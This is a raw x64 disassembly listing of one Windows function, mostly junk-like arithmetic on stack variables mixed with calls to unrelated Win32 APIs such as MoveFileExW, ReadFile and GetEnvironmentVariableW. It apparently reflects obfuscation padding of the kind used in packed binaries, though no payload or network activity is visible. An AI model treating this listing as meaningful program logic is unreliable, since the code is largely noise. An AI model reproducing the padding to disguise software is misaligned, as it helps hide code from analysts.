mov rcx, qword [rsp + 0x12ae8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x127d8], rax
movzx eax, byte [rsp + 0x5a0]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x129f0]
mov r9d, dword [rax]
mov rax, qword [0x1402c4148]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x129c8]
movzx edx, byte [rax]
mov ecx, dword [rsp + 0x91dc]
call fcn.140231ac0
mov dword [rsp + 0x20], ILSaveToStream
lea r9, [rsp + 0x9370]
lea r8, [rsp + 0x9268]
mov edx, 0xc4
mov rcx, qword [rsp + 0x12cd0]
call qword [sym.imp.SHELL32.dll_ExtractIconExW]
mov dword [rsp + 0x91dc], eax
jmp 0x140230616
mov rax, qword [rsp + 0x129c0]
mov rcx, qword [0x1402c4168]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x12ab8], rax
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12a48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x12b50], rax
movzx r8d, byte [rsp + 0x163]
mov rax, qword [rsp + 0x129c8]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x12b10]
mov rcx, qword [rax]
call fcn.140231c40
mov edx, 0x60
lea rcx, [rsp + 0x12af8]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
movzx eax, byte [rsp + 0x595]
movzx ecx, byte [rsp + 0x59a]
sub eax, ecx
mov byte [rsp + 0x27f], al
mov rax, qword [rsp + 0x12b30]
mov rcx, qword [rsp + 0x12868]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x92e8], eax
mov rax, qword [rsp + 0x12b38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7774]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9320], eax
mov rax, qword [rsp + 0x12ae8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12b18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xefa8], rax
movzx eax, word [rsp + 0x1268]
movzx ecx, word [rsp + 0x2c18]
add eax, ecx
mov word [rsp + 0x2bd8], ax
mov r8d, 0xcb
lea rdx, [rsp + 0x163]
lea rcx, [rsp + 0x12a28]
call qword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [rsp + 0x938c], eax
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1402c4178]
mov word [rcx], ax
mov rax, qword [rsp + 0x129f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9384]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9358], eax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [0x1402c4188]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7c70], eax
mov rax, qword [rsp + 0x12ae8]
mov rcx, qword [rsp + 0xefa8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127c0], rax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5a4]
sub eax, ecx
mov byte [rsp + 0x59a], al
call fcn.140231a50
mov edx, 0xd6
mov rcx, qword [rsp + 0x28308]
call sub.SHELL32.dll_SHTestTokenMembership
mov dword [rsp + 0x922c], eax
mov rax, qword [0x1402c4158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2be0]
and eax, ecx
mov word [0x14027d390], ax
movzx eax, word [rsp + 0x2bf0]
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12998]
mov word [rcx], ax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [0x1402c4188]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x92e8], eax
lea rcx, [rsp + 0x91dc]
call qword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [rsp + 0x9324], eax
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bf0]
add eax, ecx
mov word [rsp + 0x1268], ax
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c08]
add eax, ecx
mov rcx, qword [rsp + 0x128a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c4152], al
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12a48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d0], rax
mov rax, qword [rsp + 0x129c8]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x129c8]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0x129a0]
call fcn.140231c40
mov rax, qword [0x1402c4170]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x127f8]
mov qword [rsp + 0x28310], rcx
movzx ecx, al
mov rax, qword [rsp + 0x28310]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x12968], rax
lea rdx, [rsp + 0x128a8]
mov rcx, qword [rsp + 0x28318]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xe714], eax
mov rax, qword [rsp + 0x12a08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2be8]
shl eax, cl
mov word [rsp + 0x2c04], ax
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1402c4152], al
movsx eax, word [rsp + 0x2bdc]
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2800], ax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x129a8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x129f8]
mov qword [rcx], rax
mov r8, qword [rsp + 0x128b8]
mov rdx, qword [rsp + 0x12ad0]
mov ecx, ILSaveToStream
call qword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
mov dword [rsp + 0x92ec], eax
mov rax, qword [rsp + 0x129f8]
mov rcx, qword [rsp + 0x12980]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x129a8], rax
jmp 0x1402309cf
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [0x1402c4170]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xefa8], rax
mov rax, qword [rsp + 0x129c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x11420]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x12a48], rax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14027d380], ax
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x25b8], ax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12a30]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x59b], al
movsx eax, byte [rsp + 0x36d]
movsx ecx, byte [rsp + 0x59c]
and eax, ecx
mov byte [rsp + 0x598], al
mov rax, qword [rsp + 0x129c0]
mov rcx, qword [rsp + 0x12a48]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x129f8]
mov qword [rcx], rax
mov ecx, 0x72
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x59a], al
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x9200]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x92fc], eax
mov eax, dword [rsp + 0x9230]
mov ecx, dword [rsp + 0x91dc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9220], eax
mov edx, 0xcc
mov rcx, qword [rsp + 0x28318]
call qword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
mov dword [rsp + 0x91fc], eax
mov rcx, qword [rsp + 0x129a8]
call fcn.140231c00
mov rax, qword [0x1402c4170]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x127f8]
mov qword [rsp + 0x28320], rcx
movzx ecx, al
mov rax, qword [rsp + 0x28320]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x127d8], rax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x10f18]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x12930], rax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14027d394], ax
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2be0], ax
movzx eax, byte [rsp + 0x597]
movzx ecx, byte [rsp + 0x596]
sub eax, ecx
mov byte [rsp + 0x595], al
mov rcx, qword [rsp + 0x128d0]
call qword [sym.imp.KERNEL32.dll_CancelIo]
mov dword [rsp + 0x9288], eax
mov rax, qword [rsp + 0x129c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x59c]
add eax, ecx
mov rcx, qword [rsp + 0x129c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x129a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x113d8], rax
jmp 0x140230bb5
mov rax, qword [rsp + 0x129f0]
mov ecx, dword [rsp + 0x91fc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x92a4], eax
mov rax, qword [0x1402c4180]
mov rcx, qword [rsp + 0x12810]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d8], rax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [0x14027d384]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x928c], eax
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2010]
sub eax, ecx
mov word [rsp + 0x2be4], ax
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1d4c], ax
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bec]
sar eax, cl
mov word [0x14027d38c], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], ILGetNext
mov r9d, ILClone
mov r8d, ILSaveToStream
mov edx, 0x84
mov rcx, qword [rsp + 0x28328]
call qword [sym.imp.KERNEL32.dll_SetTapePosition]
mov dword [rsp + 0x9230], eax
movsx eax, byte [rsp + 0x36d]
mov rcx, qword [rsp + 0x129c8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x392], al
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59d]
or eax, ecx
mov byte [rsp + 0x59b], al
mov rax, qword [rsp + 0x11420]
mov rcx, qword [rsp + 0x129a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12800]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x595]
movzx ecx, byte [rsp + 0x599]
add eax, ecx
mov byte [rsp + 0x59a], al
lea r9, [rsp + 0x12858]
mov r8d, ILSaveToStream
lea rdx, [rsp + 0x92b8]
mov rcx, qword [rsp + 0x129d8]
call qword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
mov dword [rsp + 0x9208], eax
call fcn.140231a50
jmp 0x140230db0
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x597]
sub eax, ecx
mov byte [rsp + 0x59d], al
movsx eax, word [rsp + 0x1d4c]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2800], ax
mov eax, dword [rsp + 0x91dc]
mov ecx, dword [rsp + 0x9230]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12958]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x127c8]
call qword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
mov dword [rsp + 0x9288], eax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x92d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x91e8], eax
mov rax, qword [0x1402c4170]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x127c0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d8], rax
mov rax, qword [rsp + 0x11420]
movzx ecx, al
mov rax, qword [rsp + 0x127d0]
shl rax, cl
mov qword [rsp + 0x113d8], rax
movzx r8d, byte [rsp + 0x36d]
movzx edx, byte [rsp + 0x598]
mov rcx, qword [rsp + 0x12810]
call fcn.140231c40
lea r9, [rsp + 0x128a8]
mov r8d, 0xe7
lea rdx, [rsp + 0x12868]
mov rcx, qword [rsp + 0x128d0]
call qword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
mov dword [rsp + 0x9390], eax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb5]
sub eax, ecx
mov rcx, qword [rsp + 0x12950]
mov byte [rcx], al
mov rax, qword [rsp + 0x12958]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9230], eax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov rcx, qword [0x1402c4180]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x12968], rax
mov eax, dword [rsp + 0x9200]
mov ecx, dword [rsp + 0x928c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x92d4], eax
xor r8d, r8d
mov edx, 0xa1
lea rcx, [fcn.140231c40]
call qword [sym.imp.KERNEL32.dll_EnumUILanguagesW]
mov dword [rsp + 0x9208], eax
movsx eax, word [rsp + 0x2bdc]
mov rcx, qword [0x1402c4178]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bc0], ax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59d]
add eax, ecx
mov byte [0x14027d039], al
movzx eax, word [rsp + 0x2568]
movzx ecx, word [rsp + 0x2be4]
add eax, ecx
mov word [rsp + 0x2ac0], ax
jmp 0x140230f50
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59d]
sub eax, ecx
mov byte [rsp + 0x595], al
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14027d37c], ax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2be8]
and eax, ecx
mov word [rsp + 0x2ac0], ax
movzx eax, byte [rsp + 0x599]
mov byte [rsp + 0x20], al
mov r9d, dword [rsp + 0x92a4]
mov rax, qword [rsp + 0x12950]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x59c]
mov rax, qword [rsp + 0x12958]
mov ecx, dword [rax]
call fcn.140231ac0
movsx eax, word [rsp + 0x2bc8]
movsx ecx, word [rsp + 0x2bc4]
add eax, ecx
mov word [rsp + 0x25b8], ax
mov rax, qword [rsp + 0x10f18]
mov rcx, qword [rsp + 0x12930]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x128c8], rax
mov rcx, qword [rsp + 0x129d8]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rsp + 0x7c70], eax
call fcn.140231a50
mov eax, dword [rsp + 0x7c70]
mov ecx, dword [rsp + 0x91e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x928c], eax
mov rax, qword [0x1402c4170]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12810]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x91dc]
mov dword [rsp + 0x92a4], eax
movsx eax, word [rsp + 0x25b8]
mov rcx, qword [0x1402c4178]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2be0], ax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x12890]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127d8], rax
movsx eax, byte [rsp + 0x598]
movsx ecx, byte [rsp + 0x549]
xor eax, ecx
mov byte [rsp + 0x36d], al
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
movsx ecx, word [0x14027d37c]
or eax, ecx
mov word [rsp + 0x2bc0], ax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rsp + 0x129d0], rax
movzx r9d, word [rsp + 0x25b8]
mov rax, qword [rsp + 0x127f8]
mov r8, qword [rax]
mov rax, qword [rsp + 0x12858]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x2bdc]
call fcn.140231910
movsx eax, byte [rsp + 0x36d]
movsx ecx, byte [rsp + 0x549]
sub eax, ecx
mov byte [rsp + 0x598], al
movzx eax, word [rsp + 0x2bd8]
movzx ecx, word [rsp + 0x1268]
sub eax, ecx
mov word [rsp + 0x2ac0], ax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x12898]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x11420], rax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12800]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x11420], rax
mov eax, dword [0x14027d378]
mov ecx, dword [rsp + 0x91fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9230], eax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7c70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9200], eax
jmp 0x140231243
mov eax, dword [rsp + 0x7c70]
mov ecx, dword [rsp + 0x9200]
sub ecx, eax
mov eax, ecx
mov ecx, dword [0x1402c4188]
mov edx, dword [rsp + 0x91e8]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x140231243
mov edx, 0x4f
mov rcx, qword [rsp + 0x12808]
call qword [sym.imp.KERNEL32.dll_TerminateJobObject]
mov dword [rsp + 0x92d8], eax
mov eax, dword [rsp + 0x91e8]
mov rcx, qword [rsp + 0x12868]
mov qword [rsp + 0x28330], rcx
movzx ecx, al
mov rax, qword [rsp + 0x28330]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9200], eax
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bc8]
and eax, ecx
mov rcx, qword [0x1402c4178]
mov word [rcx], ax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x11420]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127d0], rax
movzx eax, byte [rsp + 0x596]
movzx ecx, byte [rsp + 0x59a]
sub eax, ecx
mov byte [rsp + 0x595], al
lea rax, [rsp + 0x598]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x127f8]
mov r8d, PathMakeUniqueName
lea rdx, [rsp + 0x2800]
mov rcx, qword [rsp + 0x127e0]
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov dword [rsp + 0x922c], eax
mov r8d, 0x5a
mov rdx, qword [rsp + 0x12ac8]
mov rcx, qword [rsp + 0x12878]
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
mov dword [rsp + 0xe714], eax
mov eax, dword [rsp + 0x8d74]
mov ecx, dword [0x14027d378]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x91dc], eax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9200]
add ecx, eax
mov eax, ecx
mov dword [0x1402c4188], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x12810]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x596]
movzx ecx, byte [rsp + 0x59a]
sub eax, ecx
mov byte [rsp + 0x595], al
lea rax, [rsp + 0x9268]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x12800]
mov r8d, 0x5e
lea rdx, [rsp + 0x2ac0]
mov rcx, qword [rsp + 0x128d0]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsp + 0x9208], eax
movzx eax, word [rsp + 0x2ac0]
movzx ecx, word [rsp + 0x2bd8]
add eax, ecx
mov word [rsp + 0x1268], ax
movzx eax, byte [rsp + 0x597]
movzx ecx, byte [rsp + 0x596]
add eax, ecx
mov byte [rsp + 0x599], al
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d4c]
or eax, ecx
mov word [rsp + 0x2bc0], ax
movzx eax, word [rsp + 0x2ac0]
movzx ecx, word [rsp + 0x2bd8]
shl eax, cl
mov word [rsp + 0x1268], ax
mov eax, dword [0x14027d378]
mov ecx, dword [rsp + 0x91dc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9230], eax
call fcn.140231b50
jmp 0x1402314e6
movsx eax, byte [rsp + 0x549]
movsx ecx, byte [rsp + 0x598]
cdq
idiv ecx
movsx ecx, byte [rsp + 0x36d]
mov dword [rsp + 0xe718], ecx
movsx edx, byte [0x14027d038]
movzx ecx, dl
mov edx, dword [rsp + 0xe718]
sar edx, cl
mov ecx, edx
cmp eax, ecx
je 0x1402314e6
mov dword [rsp + 0x20], 0xa0
lea r9, [rsp + 0x91fc]
lea r8, [rsp + 0x2bc4]
mov rdx, qword [rsp + 0x12878]
mov rcx, qword [rsp + 0x12ac8]
call qword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
mov dword [rsp + 0x9288], eax
movzx eax, word [rsp + 0x2bd8]
movzx ecx, word [rsp + 0x2ac0]
sar eax, cl
mov word [rsp + 0x1268], ax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x11420]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x127d0], rax
movzx eax, word [rsp + 0x2ac0]
movzx ecx, word [rsp + 0x1268]
xor eax, ecx
mov word [rsp + 0x2bd8], ax
lea rdx, [rsp + 0x9268]
lea rcx, [fcn.140231910]
call qword [sym.imp.KERNEL32.dll_GetLogicalProcessorInformation]
mov dword [rsp + 0x927c], eax
mov rax, qword [rsp + 0x12810]
movzx ecx, al
mov rax, qword [rsp + 0x127d8]
shl rax, cl
mov qword [rsp + 0x127c0], rax
mov eax, dword [0x14027d378]
mov ecx, dword [rsp + 0x9230]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x91dc], eax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x9200]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x91e8], eax
movsx eax, word [rsp + 0x2bdc]
movsx ecx, word [rsp + 0x2bc0]
and eax, ecx
mov rcx, qword [rsp + 0x12858]
mov word [rcx], ax
mov rax, qword [rsp + 0x11420]
movzx ecx, al
mov rax, qword [rsp + 0x127d0]
shl rax, cl
mov rcx, qword [rsp + 0x12800]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2bd8]
movzx ecx, word [rsp + 0x2ac0]
add eax, ecx
mov word [rsp + 0x1268], ax
movzx eax, byte [rsp + 0x595]
movzx ecx, byte [rsp + 0x596]
and eax, ecx
mov byte [rsp + 0x597], al
movsx eax, word [rsp + 0x2bc0]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d4c], ax
lea rdx, [rsp + 0x598]
mov ecx, 0x28
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov dword [rsp + 0x927c], eax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x127d0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x11420], rax
mov eax, dword [0x14027d378]
mov ecx, dword [rsp + 0x9220]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x91fc], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x127c0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127d8], rax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x7c70]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x91e8], eax
movsx eax, word [rsp + 0x2bc4]
movsx ecx, word [rsp + 0x2bdc]
add eax, ecx
mov word [rsp + 0x1d4c], ax
movsx eax, byte [rsp + 0x36d]
movsx ecx, byte [rsp + 0x598]
sub eax, ecx
mov byte [0x14027d038], al
mov rax, qword [rsp + 0x127c0]
mov rcx, qword [rsp + 0x127d8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
mov r8d, 0x4d
mov rdx, qword [rsp + 0x12870]
mov ecx, SHGetNewLinkInfoW
call sub.KERNEL32.dll_VerLanguageNameW
mov dword [rsp + 0x8d74], eax
movsx eax, word [rsp + 0x25b8]
movsx ecx, word [rsp + 0x1d4c]
sar eax, cl
mov rcx, qword [rsp + 0x12858]
mov word [rcx], ax
mov rcx, qword [rsp + 0x11420]
call fcn.140231c00
jmp 0x14023173f
mov r9d, 0xe8
lea r8, [rsp + 0x1268]
mov edx, 0xd8
mov rcx, qword [rsp + 0x127e0]
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov dword [rsp + 0x9288], eax
mov eax, dword [rsp + 0x91fc]
movzx ecx, al
mov eax, dword [rsp + 0x9230]
shl eax, cl
mov dword [rsp + 0x9220], eax
mov rax, qword [rsp + 0x12810]
movzx ecx, al
mov rax, qword [rsp + 0x127d8]
shr rax, cl
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x7c70]
mov ecx, dword [rsp + 0x9200]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x91e8], eax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [0x14027d370]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d0], rax
mov r8d, SHTestTokenMembership
mov rdx, qword [rsp + 0x12900]
mov rcx, qword [rsp + 0x128b8]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov dword [rsp + 0x9220], eax
movzx eax, word [rsp + 0x2ac0]
add eax, 0x8b1
mov word [rsp + 0x1268], ax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [0x14027d370]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d0], rax
movzx eax, byte [rsp + 0x596]
movzx ecx, byte [rsp + 0x595]
sub eax, ecx
mov byte [rsp + 0x597], al
mov eax, dword [rsp + 0x9220]
mov ecx, dword [rsp + 0x9230]
add ecx, eax
mov eax, ecx
mov dword [0x14027d378], eax
movsx eax, word [rsp + 0x1d4c]
movsx ecx, word [rsp + 0x2bc8]
and eax, ecx
mov word [rsp + 0x2bc0], ax
movzx edx, byte [rsp + 0x595]
movzx ecx, word [rsp + 0x2ac0]
call fcn.140231a10
mov eax, dword [rsp + 0x91e8]
and eax, 0x3d6f
mov dword [rsp + 0x9200], eax
movabs rax, 0x7a999e028a96d3
mov rcx, qword [0x14027d370]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d0], rax
movzx eax, word [rsp + 0x2ac0]
sub eax, 0xd0a
mov word [rsp + 0x2ac0], ax
movsx eax, byte [rsp + 0x36d]
movsx ecx, byte [0x1402c418c]
add eax, ecx
mov byte [rsp + 0x549], al
lea rax, [rsp + 0x2ac0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2ac0]
lea r8, [rsp + 0x8d74]
mov edx, 0x88
mov rcx, qword [rsp + 0x128d0]
call qword [sym.imp.KERNEL32.dll_GetTapePosition]
mov dword [rsp + 0x91fc], eax
jmp 0x14023189a
mov edx, 0xa3
mov rcx, qword [rsp + 0x12808]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov dword [rsp + 0x927c], eax
mov rax, qword [rsp + 0x127d8]
shl rax, 0x38
mov qword [rsp + 0x127c0], rax
movabs rax, 0x7700581fb15712
mov rcx, qword [rsp + 0x127d0]
or rcx, rax
mov rax, rcx
mov qword [0x14027d370], rax
movzx eax, byte [rsp + 0x596]
mov byte [rsp + 0x20], al
mov r9d, dword [rsp + 0x91fc]
movzx r8d, byte [rsp + 0x595]
movzx edx, byte [0x1402c418c]
mov ecx, dword [rsp + 0x8d74]
call fcn.140231ac0
mov eax, dword [rsp + 0xa920]
mov rcx, qword [rsp + 0x2e490]
xor rcx, rsp
call fcn.140232070
add rsp, 0x2e4a8
ret